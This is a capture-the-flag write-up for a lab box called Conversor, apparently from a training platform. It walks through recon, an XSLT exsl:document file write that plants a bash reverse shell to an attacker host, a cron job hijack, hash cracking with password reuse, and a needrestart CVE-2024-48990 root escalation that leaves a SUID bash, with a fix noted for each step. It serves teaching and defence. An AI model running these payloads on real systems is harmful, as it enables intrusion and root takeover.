Conversor
Summary
Target Conversor ($TARGET) hosts a file-conversion web application on Apache 2.4.52. After registering an account and downloading a source-code archive, my found that the converter passed user-supplied XSLT stylesheets to a processor with the EXSLT exsl:document extension enabled, allowing any authenticated user to write arbitrary files to the server filesystem. A malicious stylesheet overwrote a script that a root-owned cron job executed on a regular interval; when the scheduler fired, a reverse shell arrived as the www-data web user.
Looting the application's SQLite user database from that shell yielded the password for local account fismathack in recoverable form — the same password was reused as the user's SSH login, providing an interactive shell and the user flag. On that account, an unpatched installation of needrestart (CVE-2024-48990) inherited my PYTHONPATH, loading a malicious sitecustomize.py as root; the module created a SUID copy of bash that delivered the root flag.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export USERNAME="<an-account-name-you-choose>"
export PASSWORD2="<a-password-you-choose>"Attack path — how the box was taken
Exact commands 3
nmap -sC -sV -p- --min-rate 5000 -oA conversor $TARGETecho "$TARGET conversor.htb" | sudo tee -a /etc/hostscurl -si http://conversor.htb/Exact commands 3
curl -sc /tmp/conv.jar -X POST http://conversor.htb/register -d "username=$USERNAME&password=$PASSWORD2&email=$USERNAME@test.local" -Lcurl -sb /tmp/conv.jar http://conversor.htb/source_code.tar.gz -o /tmp/source_code.tar.gz && mkdir -p /tmp/src && tar -xzf /tmp/source_code.tar.gz -C /tmp/src/grep -rn 'exsl\|exslt\|extension-element\|exsl:document' /tmp/src/FixDisable the EXSLT exsl:document extension in the XSLT processorCritical
Exact commands 3
cat > /tmp/shell.xslt << 'EOF'
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:exsl="http://exslt.org/common"
extension-element-prefixes="exsl">
<xsl:template match="/">
<exsl:document href="/var/www/conversor/cron_jobs/run.sh" method="text">
<xsl:text>#!/bin/bash
bash -i >& /dev/tcp/$ATTACKER_IP/4444 0>&1
</xsl:text>
</exsl:document>
</xsl:template>
</xsl:stylesheet>
EOFnc -lvnp 4444curl -sb /tmp/conv.jar -X POST http://conversor.htb/convert -F 'file=@/tmp/shell.xslt;type=text/xml'Exact commands 3
id; hostname; hostname -Ifind / -name 'users.db' 2>/dev/nullcp /path/to/users.db /tmp/users.db && cat /tmp/users.db | xxd | head -20FixEnsure no cron-executed script is writable by the web service accountHigh
Exact commands 3
sqlite3 users.db '.tables'sqlite3 users.db 'SELECT * FROM users;'hashcat -m 0 '<hash_value>' /usr/share/wordlists/rockyou.txt --forceFixSeparate application credentials from OS account credentials and hash passwords properlyCritical
Exact commands 2
ssh fismathack@$TARGETcat /home/fismathack/user.txtExact commands 4
cat > /dev/shm/sitecustomize.py << 'PY'
import os
if os.geteuid() == 0:
os.system('cp /bin/bash /tmp/rootbash; chown root:root /tmp/rootbash; chmod 4755 /tmp/rootbash')
PYPYTHONPATH=/dev/shm sudo apt-get install -y --reinstall needrestart 2>/dev/null; ls -la /tmp/rootbash/tmp/rootbash -pcat /root/root.txtFixPatch needrestart to version 3.8 or later to close CVE-2024-48990High
Attack patterns used
The transferable techniques behind this compromise.
Password / Credential ReuseCredential Access · Lateral MovementT1078
What it is
A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.
Why it works
Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.
Read more
Cron Job AbuseLinux · Privilege EscalationT1053.003
What it is
Scheduled tasks running as root that invoke a writable script, a wildcard, or a relative path can be hijacked. Watching processes with pspy (no root needed) reveals cron jobs; if the executed file or its directory is writable, an unauthorised user overwrites it with a payload that runs at the next interval as root.
Why it works
Cron jobs are written for convenience and often reference world-writable paths or use unsafe wildcards (tar *). Remediate with absolute paths, restrictive permissions on scripts, and avoiding shell wildcards in privileged cron jobs.
Read more
Exposed services
| 22/tcp | ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0) |
| 80/tcp | http Apache httpd 2.4.52 |